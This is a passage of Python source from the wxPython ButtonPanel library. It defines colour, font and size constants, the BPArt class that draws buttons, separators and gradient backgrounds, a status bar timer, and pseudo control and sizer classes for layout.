\"\"\"\nBP_BORDER_COLOUR = 3\n\"\"\" Pen colour to paint the border of ButtonPanel. \"\"\"\nBP_TEXT_COLOUR = 4\n\"\"\" Main ButtonPanel caption colour. \"\"\"\nBP_BUTTONTEXT_COLOUR = 5\n\"\"\" Text colour for buttons with text. \"\"\"\nBP_BUTTONTEXT_INACTIVE_COLOUR = 6\n\"\"\" Text colour for inactive buttons with text. \"\"\"\nBP_SELECTION_BRUSH_COLOUR = 7\n\"\"\" Brush colour to be used when hovering or selecting a button. \"\"\"\nBP_SELECTION_PEN_COLOUR = 8\n\"\"\" Pen colour to be used when hovering or selecting a button. \"\"\"\nBP_SEPARATOR_COLOUR = 9\n\"\"\" Pen colour used to paint the separators. \"\"\"\nBP_TEXT_FONT = 10\n\"\"\" Font of the ButtonPanel main caption. \"\"\"\nBP_BUTTONTEXT_FONT = 11\n\"\"\" Text font for the buttons with text. \"\"\"\n\nBP_BUTTONTEXT_ALIGN_BOTTOM = 12\n\"\"\" Flag that indicates the image and text in buttons is stacked. \"\"\"\nBP_BUTTONTEXT_ALIGN_RIGHT = 13\n\"\"\" Flag that indicates the text is shown alongside the image in buttons with text. \"\"\"\n\nBP_SEPARATOR_SIZE = 14\n\"\"\"\nSeparator size. NB: This is not the line width, but the sum of the space before\nand after the separator line plus the width of the line.\n\"\"\"\nBP_MARGINS_SIZE = 15\n\"\"\"\nSize of the left/right margins in ButtonPanel (top/bottom for vertically\naligned ButtonPanels).\n\"\"\"\nBP_BORDER_SIZE = 16\n\"\"\" Size of the border. \"\"\"\nBP_PADDING_SIZE = 17\n\"\"\" Inter-tool separator size. \"\"\"\n\n# Caption Gradient Type\nBP_GRADIENT_NONE = 0\n\"\"\" No gradient shading should be used to paint the background. \"\"\"\nBP_GRADIENT_VERTICAL = 1\n\"\"\" Vertical gradient shading should be used to paint the background. \"\"\"\nBP_GRADIENT_HORIZONTAL = 2\n\"\"\" Horizontal gradient shading should be used to paint the background. \"\"\"\n\n# Flags for HitTest() method\nBP_HT_BUTTON = 200\nBP_HT_NONE = 201\n\n# Alignment of buttons in the panel\nBP_ALIGN_RIGHT = 1\nBP_ALIGN_LEFT = 2\nBP_ALIGN_TOP = 4\nBP_ALIGN_BOTTOM = 8\n\n# ButtonPanel styles\nBP_DEFAULT_STYLE = 1\n\"\"\" `ButtonPanel` has a plain solid background. \"\"\"\nBP_USE_GRADIENT = 2\n\"\"\" `ButtonPanel` has a gradient shading background. \"\"\"\n\n# Delay used to cancel the longHelp in the statusbar field\n_DELAY = 3000\n\n\n# Check for the new method in 2.7 (not present in 2.6.3.3)\nif wx.VERSION_STRING < \"2.7\":\n wx.Rect.Contains = lambda self, point: wx.Rect.Inside(self, point)\n\n \ndef BrightenColour(colour, factor): \n \"\"\"\n Brighten the input colour by a factor.\n\n :param `colour`: a valid `wx.Colour` instance;\n :param `factor`: the factor by which the input colour should be brightened.\n \"\"\"\n\n val = colour.Red()*factor\n if val > 255:\n red = 255\n else:\n red = val\n \n val = colour.Green()*factor\n if val > 255:\n green = 255\n else:\n green = val\n\n val = colour.Blue()*factor\n if val > 255:\n blue = 255\n else:\n blue = val\n\n return wx.Colour(red, green, blue) \n\n\n# ----------------------------------------------------------------------------\n\ndef MakeDisabledBitmap(original):\n \"\"\"\n Creates a disabled-looking bitmap starting from the input one.\n\n :param `original`: an instance of `wx.Bitmap` to be greyed-out.\n \"\"\"\n \n img = original.ConvertToImage()\n return wx.BitmapFromImage(img.ConvertToGreyscale())\n\n\n# ---------------------------------------------------------------------------- #\n# Class BPArt\n# Handles all the drawings for buttons, separators and text and allows the\n# programmer to set colours, sizes and gradient shadings for ButtonPanel\n# ---------------------------------------------------------------------------- #\n\nclass BPArt(object):\n \"\"\"\n L{BPArt} is an art provider class which does all of the drawing for L{ButtonPanel}.\n This allows the library caller to customize the L{BPArt} or to completely replace\n all drawing with custom BPArts.\n \"\"\"\n\n def __init__(self, parentStyle):\n \"\"\"\n Default class constructor.\n\n :param `parentStyle`: the window style for L{ButtonPanel}.\n \"\"\"\n\n base_colour = wx.SystemSettings_GetColour(wx.SYS_COLOUR_3DFACE)\n\n self._background_brush = wx.Brush(base_colour, wx.SOLID)\n self._gradient_colour_to = wx.WHITE\n self._gradient_colour_from = wx.SystemSettings_GetColour(wx.SYS_COLOUR_ACTIVECAPTION)\n\n if parentStyle & BP_USE_GRADIENT:\n self._border_pen = wx.Pen(wx.WHITE, 3)\n self._caption_text_colour = wx.WHITE\n self._buttontext_colour = wx.Colour(70, 143, 255)\n self._separator_pen = wx.Pen(BrightenColour(self._gradient_colour_from, 1.4))\n self._gradient_type = BP_GRADIENT_VERTICAL\n else:\n self._border_pen = wx.Pen(BrightenColour(base_colour, 0.9), 3)\n self._caption_text_colour = wx.BLACK\n self._buttontext_colour = wx.SystemSettings_GetColour(wx.SYS_COLOUR_BTNTEXT)\n self._separator_pen = wx.Pen(BrightenColour(base_colour, 0.9))\n self._gradient_type = BP_GRADIENT_NONE\n \n self._buttontext_inactive_colour = wx.SystemSettings_GetColour(wx.SYS_COLOUR_GRAYTEXT)\n self._selection_brush = wx.Brush(wx.Colour(225, 225, 255))\n self._selection_pen = wx.Pen(wx.SystemSettings_GetColour(wx.SYS_COLOUR_ACTIVECAPTION))\n \n sysfont = wx.SystemSettings.GetFont(wx.SYS_DEFAULT_GUI_FONT)\n self._caption_font = wx.Font(sysfont.GetPointSize(), wx.DEFAULT, wx.NORMAL, wx.BOLD,\n False, sysfont.GetFaceName())\n self._buttontext_font = wx.Font(sysfont.GetPointSize(), wx.DEFAULT, wx.NORMAL, wx.NORMAL,\n False, sysfont.GetFaceName())\n \n self._separator_size = 7\n self._margins_size = wx.Size(6, 6)\n self._caption_border_size = 3\n self._padding_size = wx.Size(6, 6)\n\n\n def GetMetric(self, id):\n \"\"\"\n Returns the option value for the specified size `id`.\n\n :param `id`: the identification bit for the size value. This can be one of the\n following bits:\n\n ============================== ======= =====================================\n Size Id Value Description\n ============================== ======= =====================================\n ``BP_SEPARATOR_SIZE`` 14 Separator size. Note: This is not the line width, but the sum of the space before and after the separator line plus the width of the line\n ``BP_MARGINS_SIZE`` 15 Size of the left/right margins in L{ButtonPanel} (top/bottom for vertically aligned ButtonPanels)\n ``BP_BORDER_SIZE`` 16 Size of the border\n ``BP_PADDING_SIZE`` 17 Inter-tool separator size\n ============================== ======= =====================================\n\n \"\"\"\n\n if id == BP_SEPARATOR_SIZE:\n return self._separator_size\n elif id == BP_MARGINS_SIZE:\n return self._margins_size\n elif id == BP_BORDER_SIZE:\n return self._caption_border_size\n elif id == BP_PADDING_SIZE:\n return self._padding_size\n else:\n raise Exception(\"\\nERROR: Invalid Metric Ordinal. \")\n\n\n def SetMetric(self, id, new_val):\n \"\"\"\n Sets the option value for the specified size `id`.\n\n :param `id`: the identification bit for the size value;\n :param `new_val`: the new value for the size.\n\n :see: L{GetMetric} for a list of meaningful size ids. \n \"\"\"\n\n if id == BP_SEPARATOR_SIZE:\n self._separator_size = new_val\n elif id == BP_MARGINS_SIZE:\n self._margins_size = new_val\n elif id == BP_BORDER_SIZE:\n self._caption_border_size = new_val\n self._border_pen.SetWidth(new_val)\n elif id == BP_PADDING_SIZE:\n self._padding_size = new_val\n else:\n raise Exception(\"\\nERROR: Invalid Metric Ordinal. \")\n\n\n def GetColour(self, id):\n \"\"\"\n Returns the option value for the specified colour `id`.\n\n :param `id`: the identification bit for the colour value. This can be one of the\n following bits:\n\n ================================== ======= =====================================\n Colour Id Value Description\n ================================== ======= =====================================\n ``BP_BACKGROUND_COLOUR`` 0 Background brush colour when no gradient shading exists\n ``BP_GRADIENT_COLOUR_FROM`` 1 Starting gradient colour, used only when ``BP_USE_GRADIENT`` style is applied\n ``BP_GRADIENT_COLOUR_TO`` 2 Ending gradient colour, used only when ``BP_USE_GRADIENT`` style is applied\n ``BP_BORDER_COLOUR`` 3 Pen colour to paint the border of L{ButtonPanel}\n ``BP_TEXT_COLOUR`` 4 Main ButtonPanel caption colour\n ``BP_BUTTONTEXT_COLOUR`` 5 Text colour for buttons with text\n ``BP_BUTTONTEXT_INACTIVE_COLOUR`` 6 Text colour for inactive buttons with text\n ``BP_SELECTION_BRUSH_COLOUR`` 7 Brush colour to be used when hovering or selecting a button\n ``BP_SELECTION_PEN_COLOUR`` 8 Pen colour to be used when hovering or selecting a button\n ``BP_SEPARATOR_COLOUR`` 9 Pen colour used to paint the separators\n ================================== ======= =====================================\n\n \"\"\"\n\n if id == BP_BACKGROUND_COLOUR:\n return self._background_brush.GetColour()\n elif id == BP_GRADIENT_COLOUR_FROM:\n return self._gradient_colour_from\n elif id == BP_GRADIENT_COLOUR_TO:\n return self._gradient_colour_to\n elif id == BP_BORDER_COLOUR:\n return self._border_pen.GetColour()\n elif id == BP_TEXT_COLOUR:\n return self._caption_text_colour\n elif id == BP_BUTTONTEXT_COLOUR:\n return self._buttontext_colour\n elif id == BP_BUTTONTEXT_INACTIVE_COLOUR:\n return self._buttontext_inactive_colour\n elif id == BP_SELECTION_BRUSH_COLOUR:\n return self._selection_brush.GetColour()\n elif id == BP_SELECTION_PEN_COLOUR:\n return self._selection_pen.GetColour()\n elif id == BP_SEPARATOR_COLOUR:\n return self._separator_pen.GetColour()\n else:\n raise Exception(\"\\nERROR: Invalid Colour Ordinal. \")\n\n\n def SetColour(self, id, colour):\n \"\"\"\n Sets the option value for the specified colour `id`.\n\n :param `id`: the identification bit for the colour value;\n :param `colour`: the new value for the colour (a valid `wx.Colour` instance).\n\n :see: L{GetColour} for a list of meaningful colour ids. \n \"\"\"\n\n if id == BP_BACKGROUND_COLOUR:\n self._background_brush.SetColour(colour)\n elif id == BP_GRADIENT_COLOUR_FROM:\n self._gradient_colour_from = colour\n elif id == BP_GRADIENT_COLOUR_TO:\n self._gradient_colour_to = colour\n elif id == BP_BORDER_COLOUR:\n self._border_pen.SetColour(colour)\n elif id == BP_TEXT_COLOUR:\n self._caption_text_colour = colour\n elif id == BP_BUTTONTEXT_COLOUR:\n self._buttontext_colour = colour\n elif id == BP_BUTTONTEXT_INACTIVE_COLOUR:\n self._buttontext_inactive_colour = colour\n elif id == BP_SELECTION_BRUSH_COLOUR:\n self._selection_brush.SetColour(colour)\n elif id == BP_SELECTION_PEN_COLOUR:\n self._selection_pen.SetColour(colour)\n elif id == BP_SEPARATOR_COLOUR:\n self._separator_pen.SetColour(colour)\n else:\n raise Exception(\"\\nERROR: Invalid Colour Ordinal. \")\n \n\n GetColor = GetColour\n SetColor = SetColour\n\n\n def GetFont(self, id):\n \"\"\"\n Returns the option value for the specified font `id`.\n\n :param `id`: the identification bit for the font value. This can be one of the\n following bits:\n\n ============================== ======= =====================================\n Size Id Value Description\n ============================== ======= =====================================\n ``BP_TEXT_FONT`` 10 Font of the L{ButtonPanel} main caption\n ``BP_BUTTONTEXT_FONT`` 11 Text font for the buttons with text\n ============================== ======= =====================================\n \n \"\"\"\n\n if id == BP_TEXT_FONT:\n return self._caption_font\n elif id == BP_BUTTONTEXT_FONT:\n return self._buttontext_font\n \n return wx.NoneFont\n\n\n def SetFont(self, id, font):\n \"\"\"\n Sets the option value for the specified font `id`.\n\n :param `id`: the identification bit for the font value;\n :param `colour`: the new value for the font (a valid `wx.Font` instance).\n\n :see: L{GetFont} for a list of meaningful font ids. \n \"\"\"\n \n if id == BP_TEXT_FONT:\n self._caption_font = font\n elif id == BP_BUTTONTEXT_FONT:\n self._buttontext_font = font\n\n\n def SetGradientType(self, gradient):\n \"\"\"\n Sets the gradient type for L{BPArt} drawings.\n\n :param `gradient`: can be one of the following bits:\n\n ============================ ======= ============================ \n Gradient Type Value Description\n ============================ ======= ============================\n ``BP_GRADIENT_NONE`` 0 No gradient shading should be used to paint the background\n ``BP_GRADIENT_VERTICAL`` 1 Vertical gradient shading should be used to paint the background\n ``BP_GRADIENT_HORIZONTAL`` 2 Horizontal gradient shading should be used to paint the background\n ============================ ======= ============================\n \n \"\"\"\n\n self._gradient_type = gradient\n \n\n def GetGradientType(self):\n \"\"\"\n Returns the gradient type for L{BPArt} drawings.\n\n :see: L{SetGradientType} for a list of possible gradient types.\n \"\"\"\n\n return self._gradient_type \n\n \n def DrawSeparator(self, dc, rect, isVertical):\n \"\"\"\n Draws a separator in L{ButtonPanel}.\n\n :param `dc`: an instance of `wx.DC`;\n :param `rect`: the separator client rectangle;\n :param `isVertical`: ``True`` if L{ButtonPanel} is in vertical orientation,\n ``False`` otherwise.\n \"\"\"\n \n dc.SetPen(self._separator_pen)\n\n if isVertical:\n ystart = yend = rect.y + rect.height/2\n xstart = int(rect.x + 1.5*self._caption_border_size)\n xend = int(rect.x + rect.width - 1.5*self._caption_border_size)\n dc.DrawLine(xstart, ystart, xend, yend)\n else:\n xstart = xend = rect.x + rect.width/2\n ystart = int(rect.y + 1.5*self._caption_border_size)\n yend = int(rect.y + rect.height - 1.5*self._caption_border_size)\n dc.DrawLine(xstart, ystart, xend, yend)\n\n\n def DrawCaption(self, dc, rect, captionText):\n \"\"\"\n Draws the main caption text in L{ButtonPanel}.\n\n :param `dc`: an instance of `wx.DC`;\n :param `rect`: the main caption text rectangle;\n :param `captionText`: the caption text string.\n \"\"\"\n\n textColour = self._caption_text_colour\n textFont = self._caption_font\n padding = self._padding_size\n \n dc.SetTextForeground(textColour) \n dc.SetFont(textFont)\n\n dc.DrawText(captionText, rect.x + padding.x, rect.y+padding.y)\n \n\n def DrawButton(self, dc, rect, buttonBitmap, isVertical, buttonStatus,\n isToggled, textAlignment, text=\"\"):\n \"\"\"\n Draws a button in L{ButtonPanel}, together with its text (if any).\n\n :param `dc`: an instance of `wx.DC`;\n :param `rect`: the button client rectangle;\n :param `buttonBitmap`: the bitmap associated with the button;\n :param `isVertical`: ``True`` if L{ButtonPanel} is in vertical orientation,\n ``False`` otherwise;\n :param `buttonStatus`: one of \"Normal\", \"Toggled\", \"Pressed\", \"Disabled\" or \"Hover\";\n :param `isToggled`: whether the button is toggled or not;\n :param `textAlignment`: the text alignment inside the button;\n :param `text`: the button label.\n \"\"\"\n \n bmpxsize, bmpysize = buttonBitmap.GetWidth(), buttonBitmap.GetHeight()\n dx = dy = focus = 0\n \n borderw = self._caption_border_size\n padding = self._padding_size\n\n buttonFont = self._buttontext_font\n dc.SetFont(buttonFont)\n \n if isVertical:\n \n rect = wx.Rect(borderw, rect.y, rect.width-2*borderw, rect.height)\n \n if text != \"\":\n\n textW, textH = dc.GetTextExtent(text)\n \n if textAlignment == BP_BUTTONTEXT_ALIGN_RIGHT:\n fullExtent = bmpxsize + padding.x/2 + textW\n bmpypos = rect.y + (rect.height - bmpysize)/2\n bmpxpos = rect.x + (rect.width - fullExtent)/2\n textxpos = bmpxpos + padding.x/2 + bmpxsize\n textypos = bmpypos + (bmpysize - textH)/2\n else:\n bmpxpos = rect.x + (rect.width - bmpxsize)/2\n bmpypos = rect.y + padding.y\n textxpos = rect.x + (rect.width - textW)/2\n textypos = bmpypos + bmpysize + padding.y/2\n else:\n bmpxpos = rect.x + (rect.width - bmpxsize)/2\n bmpypos = rect.y + (rect.height - bmpysize)/2\n \n \n else:\n\n rect = wx.Rect(rect.x, borderw, rect.width, rect.height-2*borderw)\n\n if text != \"\":\n\n textW, textH = dc.GetTextExtent(text)\n \n if textAlignment == BP_BUTTONTEXT_ALIGN_RIGHT:\n fullExtent = bmpxsize + padding.x/2 + textW\n bmpypos = rect.y + (rect.height - bmpysize)/2\n bmpxpos = rect.x + (rect.width - fullExtent)/2\n textxpos = bmpxpos + padding.x/2 + bmpxsize\n textypos = bmpypos + (bmpysize - textH)/2\n else:\n fullExtent = bmpysize + padding.y/2 + textH\n bmpxpos = rect.x + (rect.width - bmpxsize)/2\n bmpypos = rect.y + (rect.height - fullExtent)/2\n textxpos = rect.x + (rect.width - textW)/2\n textypos = bmpypos + bmpysize + padding.y/2\n else:\n bmpxpos = rect.x + (rect.width - bmpxsize)/2\n bmpypos = rect.y + (rect.height - bmpysize)/2\n \n # Draw a button \n # [ Padding | Text | .. Buttons .. | Padding ]\n\n if buttonStatus in [\"Pressed\", \"Toggled\", \"Hover\"]: \n dc.SetBrush(self._selection_brush) \n dc.SetPen(self._selection_pen)\n dc.DrawRoundedRectangleRect(rect, 4)\n\n if buttonStatus == \"Pressed\" or isToggled:\n dx = dy = 1\n \n if buttonBitmap:\n dc.DrawBitmap(buttonBitmap, bmpxpos+dx, bmpypos+dy, True)\n\n if text != \"\":\n isEnabled = buttonStatus != \"Disabled\"\n self.DrawLabel(dc, text, isEnabled, textxpos+dx, textypos+dy)\n\n \n def DrawLabel(self, dc, text, isEnabled, xpos, ypos):\n \"\"\"\n Draws the label for a button.\n\n :param `dc`: an instance of `wx.DC`;\n :param `text`: the button label;\n :param `isEnabled`: ``True`` if the button is enabled, ``False`` otherwise;\n :param `xpos`: the text x position inside the button;\n :param `ypos`: the text y position inside the button.\n \"\"\"\n\n if not isEnabled:\n dc.SetTextForeground(self._buttontext_inactive_colour)\n else:\n dc.SetTextForeground(self._buttontext_colour)\n \n dc.DrawText(text, xpos, ypos)\n\n\n def DrawButtonPanel(self, dc, rect, style):\n \"\"\"\n Paint the L{ButtonPanel}'s background.\n\n :param `dc`: an instance of `wx.DC`;\n :param `rect`: the L{ButtonPanel} client rectangle;\n :param `style`: the L{ButtonPanel} window style.\n \"\"\"\n\n if style & BP_USE_GRADIENT:\n # Draw gradient colour in the backgroud of the panel \n self.FillGradientColour(dc, rect)\n\n # Draw a rectangle around the panel\n backBrush = (style & BP_USE_GRADIENT and [wx.TRANSPARENT_BRUSH] or \\\n [self._background_brush])[0]\n \n dc.SetBrush(backBrush) \n dc.SetPen(self._border_pen)\n dc.DrawRectangleRect(rect) \n \n\n def FillGradientColour(self, dc, rect):\n \"\"\"\n Gradient fill from colour 1 to colour 2 with top to bottom or left to right.\n\n :param `dc`: an instance of `wx.DC`;\n :param `rect`: the L{ButtonPanel} client rectangle. \n \"\"\"\n\n if rect.height < 1 or rect.width < 1: \n return \n\n isVertical = self._gradient_type == BP_GRADIENT_VERTICAL\n size = (isVertical and [rect.height] or [rect.width])[0]\n start = (isVertical and [rect.y] or [rect.x])[0]\n\n # calculate gradient coefficients\n\n col2 = self._gradient_colour_from\n col1 = self._gradient_colour_to\n\n rf, gf, bf = 0, 0, 0\n rstep = float((col2.Red() - col1.Red()))/float(size)\n gstep = float((col2.Green() - col1.Green()))/float(size)\n bstep = float((col2.Blue() - col1.Blue()))/float(size)\n\n for coord in xrange(start, start + size):\n \n currCol = wx.Colour(col1.Red() + rf, col1.Green() + gf, col1.Blue() + bf)\n dc.SetBrush(wx.Brush(currCol, wx.SOLID)) \n dc.SetPen(wx.Pen(currCol))\n if isVertical:\n dc.DrawLine(rect.x, coord, rect.x + rect.width, coord) \n else:\n dc.DrawLine(coord, rect.y, coord, rect.y + rect.height)\n \n rf += rstep\n gf += gstep\n bf += bstep \n \n\nclass StatusBarTimer(wx.Timer):\n \"\"\" Timer used for deleting `wx.StatusBar` long help after ``_DELAY`` seconds.\"\"\"\n\n def __init__(self, owner):\n \"\"\"\n Default class constructor.\n For internal use: do not call it in your code!\n \"\"\"\n \n wx.Timer.__init__(self)\n self._owner = owner \n\n\n def Notify(self):\n \"\"\" The timer has expired. \"\"\"\n\n self._owner.OnStatusBarTimer()\n\n \nclass Control(wx.EvtHandler):\n \"\"\"\n This class represents a base class for all pseudo controls used in\n L{ButtonPanel}.\n \"\"\"\n\n def __init__(self, parent, size=wx.Size(-1, -1), id=wx.ID_ANY):\n \"\"\"\n Default class constructor.\n \n :param `parent`: the control parent object;\n :param `size`: the control size. ``wx.DefaultSize`` indicates that wxPython should\n generate a default size for the window. If no suitable size can be found, the\n window will be sized to 20x20 pixels so that the window is visible but obviously\n not correctly sized.\n \"\"\"\n\n wx.EvtHandler.__init__(self)\n\n self._parent = parent\n\n if id == wx.ID_ANY:\n self._id = wx.NewId()\n else:\n self._id = id\n \n self._size = size\n self._isshown = True\n self._focus = False\n\n\n def Show(self, show=True):\n \"\"\"\n Shows or hide the control.\n\n :param `show`: If ``True`` displays the window. Otherwise, it hides it.\n \"\"\"\n\n self._isshown = show\n\n\n def Hide(self):\n \"\"\"\n Hides the control.\n\n :note: This is functionally equivalent of calling L{Show} with a ``False`` input.\n \"\"\"\n\n self.Show(False)\n\n\n def IsShown(self):\n \"\"\" Returns ``True`` if the window is shown, ``False`` if it has been hidden. \"\"\"\n\n return self._isshown \n \n\n def GetId(self):\n \"\"\"\n Returns the identifier of the window.\n\n :note: Each window has an integer identifier. If the application has not provided\n one (or the default ``wx.ID_ANY``) an unique identifier with a negative value will\n be generated.\n \"\"\"\n\n return self._id\n \n\n def GetBestSize(self):\n \"\"\"\n This functions returns the best acceptable minimal size for the window. For\n example, for a static control, it will be the minimal size such that the control\n label is not truncated. For windows containing subwindows (typically `wx.Panel`),\n the size returned by this function will be the same as the size the window would\n have had after calling `Fit()`.\n \"\"\"\n\n return self._size\n\n\n def Disable(self):\n \"\"\"\n Disables the control.\n\n :returns: ``True`` if the window has been disabled, ``False`` if it had been\n already disabled before the call to this function.\n \n :note: This is functionally equivalent of calling L{Enable} with a ``False`` flag.\n \"\"\"\n\n return self.Enable(False)\n\n\n def Enable(self, value=True):\n \"\"\"\n Enable or disable the window for user input. \n\n :param `enable`: If ``True``, enables the window for input. If ``False``, disables the window.\n\n :returns: ``True`` if the window has been enabled or disabled, ``False`` if nothing was\n done, i.e. if the window had already been in the specified state.\n\n :note: Note that when a parent window is disabled, all of its children are disabled as\n well and they are reenabled again when the parent is.\n \"\"\"\n\n self.disabled = not value\n return True\n \n\n def SetFocus(self, focus=True):\n \"\"\"\n Sets or kills the focus on the control.\n\n :param `focus`: whether the control can receive keyboard inputs or not.\n \"\"\"\n\n self._focus = focus\n\n \n def HasFocus(self):\n \"\"\" Returns whether the control has the focus or not. \"\"\"\n\n return self._focus\n \n \n def OnMouseEvent(self, x, y, event):\n \"\"\"\n Handles the ``wx.EVT_MOUSE_EVENTS`` events for the control.\n\n :param `x`: the mouse x position;\n :param `y`: the mouse y position;\n :param `event`: the `wx.MouseEvent` event to be processed.\n \"\"\"\n \n pass\n\n\n def Draw(self, rect):\n \"\"\"\n Handles the drawing of the control.\n\n :param `rect`: the control client rectangle.\n \"\"\"\n \n pass\n\n\nclass Sizer(object):\n \"\"\"\n This is a mix-in class to add pseudo support to `wx.Sizer`. Just create\n a new class that derives from this class and `wx.Sizer` and intercepts\n any methods that add to the wx sizer.\n \"\"\"\n \n def __init__(self):\n \"\"\"\n Default class constructor.\n For internal use: do not call it in your code!\n \"\"\"\n \n self.children = [] # list of child Pseudo Controls\n \n # Sizer doesn't use the x1,y1,x2,y2 so allow it to \n # be called with or without the coordinates\n def Draw(self, dc, x1=0, y1=0, x2=0, y2=0):\n \"\"\" Draws all the children of the sizer. \"\"\"\n \n for item in self.children:\n # use sizer coordinates rather than\n # what is passed in\n c = item.GetUserData()\n c.Draw(dc, item.GetRect())\n\n \n def GetBestSize(self):\n \"\"\"\n This functions returns the best acceptable minimal size for the sizer object.\n \"\"\"\n\n # this should be handled by the wx.Sizer based class\n return self.GetMinSize()\n\n\n# Pseudo BoxSizer\nclass BoxSizer(Sizer, wx.BoxSizer):\n \"\"\" Pseudo-class that imitates `wx.BoxSizer`. \"\"\"\n \n def __init__(self, orient=wx.HORIZONTAL):\n \"\"\"\n Constructor for L{BoxSizer}.\n\n :param `orient`: may be one of ``wx.VERTICAL`` or ``wx.HORIZONTAL`` for creating\n either a column sizer or a row sizer.\n \"\"\"\n \n wx.BoxSizer.__init__(self, orient)\n Sizer.__init__(self)\n\n #-------------------------------------------\n # sizer overrides (only called from Python)\n #-------------------------------------------\n # no support for user data if it's a pseudocontrol\n # since that is already used\n def Add(self, item, proportion=0, flag=0, border=0, userData=None):\n \"\"\"\n Appends a child item to the sizer.\n\n :param `item`: the item to be added to L{BoxSizer}. Can be an instance of `wx.Window`,\n `wx.Sizer` or a spacer;\n :param `proportion`: this parameter is used in L{BoxSizer} to indicate if a child of\n a sizer can change its size in the main orientation of the L{BoxSizer} - where 0\n stands for not changeable and a value of more than zero is interpreted relative\n to the value of other children of the same L{BoxSizer}. For example, you might have\n a horizontal L{BoxSizer} with three children, two of which are supposed to change their\n size with the sizer. Then the two stretchable windows would get a value of 1 each to\n make them grow and shrink equally with the sizer's horizontal dimension.\n :param `flag`: this parameter can be used to set a number of flags which can be combined using the binary OR operator ``|``. \n Two main behaviours are defined using these flags. One is the border around a window: the border parameter determines the border \n width whereas the flags given here determine which side(s) of the item that the border will be added. The other flags determine \n how the sizer item behaves when the space allotted to the sizer changes, and is somewhat dependent on the specific kind of sizer used:\n\n +---------------------------------------------------------------------+-----------------------------------------------------------------------------+\n | Sizer Flag | Description |\n +=====================================================================+=============================================================================+\n | ``wx.TOP`` | These flags are used to specify which side(s) of the sizer |\n +---------------------------------------------------------------------+ item the border width will apply to. | \n | ``wx.BOTTOM`` | |\n +---------------------------------------------------------------------+ |\n | ``wx.LEFT`` | |\n +---------------------------------------------------------------------+ |\n | ``wx.RIGHT`` | |\n +---------------------------------------------------------------------+ |\n | ``wx.ALL`` | |\n +---------------------------------------------------------------------+-----------------------------------------------------------------------------+\n | ``wx.EXPAND`` | The item will be expanded to fill the space assigned to |\n | | the item. |\n +---------------------------------------------------------------------+-----------------------------------------------------------------------------+\n | ``wx.SHAPED`` | The item will be expanded as much as possible while also |\n | | maintaining its aspect ratio |\n +---------------------------------------------------------------------+-----------------------------------------------------------------------------+\n | ``wx.FIXED_MINSIZE`` | Normally `wx.Sizers` will use |\n | | `wx.Window.GetAdjustedBestSize` to |\n | | determine what the minimal size of window items should be, and will use that| \n | | size to calculate the layout. This allows layouts to adjust when an item |\n | | changes and its best size becomes different. If you would rather have a |\n | | window item stay the size it started with then use ``wx.FIXED_MINSIZE``. |\n +---------------------------------------------------------------------+-----------------------------------------------------------------------------+\n | ``wx.RESERVE_SPACE_EVEN_IF_HIDDEN`` | Normally `wx.Sizers` don't allocate space for hidden windows or other items.| \n | | This flag overrides this behavior so that sufficient space is allocated for |\n | | the window even if it isn't visible. This makes it possible to dynamically |\n | | show and hide controls without resizing parent dialog, for example. This |\n | | function is new since wxWidgets version 2.8.8 |\n +---------------------------------------------------------------------+-----------------------------------------------------------------------------+\n | ``wx.ALIGN_CENTER`` **or** ``wx.ALIGN_CENTRE`` | The ``wx.ALIGN*`` flags allow you to specify the alignment of the item |\n +---------------------------------------------------------------------+ within the space allotted to it by the sizer, adjusted for the border if |\n | ``wx.ALIGN_LEFT`` | any. |\n +---------------------------------------------------------------------+ | \n | ``wx.ALIGN_RIGHT`` | |\n +---------------------------------------------------------------------+ | \n | ``wx.ALIGN_TOP`` | |\n +---------------------------------------------------------------------+ | \n | ``wx.ALIGN_BOTTOM`` | |\n +---------------------------------------------------------------------+ | \n | ``wx.ALIGN_CENTER_VERTICAL`` **or** ``wx.ALIGN_CENTRE_VERTICAL`` | |\n +---------------------------------------------------------------------+ | \n | ``wx.ALIGN_CENTER_HORIZONTAL`` **or** ``wx.ALIGN_CENTRE_HORIZONTAL``| |\n +---------------------------------------------------------------------+-----------------------------------------------------------------------------+\n\n :param `border`: determines the border width, if the flag parameter is set\n to include any border flag.\n :param `userData`: Allows an extra object to be attached to the sizer item,\n for use in derived classes when sizing information is more complex than the\n proportion and flag will allow for.\n\n :note: there is no support for `userData` parameter if `item` is a pseudocontrol,\n since that is already used.\n \"\"\"\n\n # check to see if it's a pseudo object or sizer\n if isinstance(item, Sizer):\n szitem = wx.BoxSizer.Add(self, item, proportion, flag, border, item)\n self.children.append(szitem)\n elif isinstance(item, Control): # Control should be what ever class your controls come from\n sz = item.GetBestSize()\n # add a spacer to track this object\n szitem = wx.BoxSizer.Add(self, sz, proportion, flag, border, item)\n self.children.append(szitem)\n else:\n wx.BoxSizer.Add(self, item, proportion, flag, border, userData)\n\n\n def Prepend(self, item, proportion=0, flag=0, border=0, userData=None):\n \"\"\"\n Prepends a child item to the sizer.\n\n :see: L{Add} method for an explanation of the input parameters.\n \"\"\"\n\n # check to see if it's a pseudo object or sizer\n if isinstance(item, Sizer):\n szitem = wx.BoxSizer.Prepend(self, item, proportion, flag, border, item)\n self.children.append(szitem)\n elif isinstance(item, Control): # Control should be what ever class your controls come from\n sz = item.GetBestSize()\n # add a spacer to track this object\n szitem = wx.BoxSizer.Prepend(self, sz, proportion, flag, border, item)\n self.children.insert(0,szitem)\n else:\n wx.BoxSizer.Prepend(self, item, proportion, flag, border, userData)\n\n\n def Insert(self, before, item, proportion=0, flag=0, border=0, userData=None, realIndex=None):\n \"\"\"\n Inserts a child item into the sizer.\n\n :see: L{Add} method for an explanation of the input parameters.\n \"\"\"\n\n # check to see if it's a pseudo object or sizer\n if isinstance(item, Sizer):\n szitem = wx.BoxSizer.Insert(self, before, item, proportion, flag, border, item)\n self.children.append(szitem)\n elif isinstance(item, Control): # Control should be what ever class your controls come from\n sz = item.GetBestSize()\n # add a spacer to track this object\n szitem = wx.BoxSizer.Insert(self, before, sz, proportion, flag, border, item)\n if realIndex is not None:\n self.children.insert(realIndex,szitem)\n else:\n self.children.insert(before,szitem)\n \n else:\n wx.BoxSizer.Insert(self, before, item, proportion, flag, border, userData)\n\n\n def Remove(self, indx, pop=-1):\n \"\"\"\n Removes an item from the sizer and destroys it.\n\n This method does not cause any layout or resizing to take place, call\n L{BoxSizer.Layout} to update the layout on screen after removing a child from\n the sizer.\n\n :param `indx`: the zero-based index of an item to remove;\n :param `pop`: whether to remove the sizer item from the list of children.\n \"\"\"\n \n if pop >= 0:\n self.children.pop(pop)\n\n wx.BoxSizer.Remove(self, indx)\n \n\n def Layout(self):\n 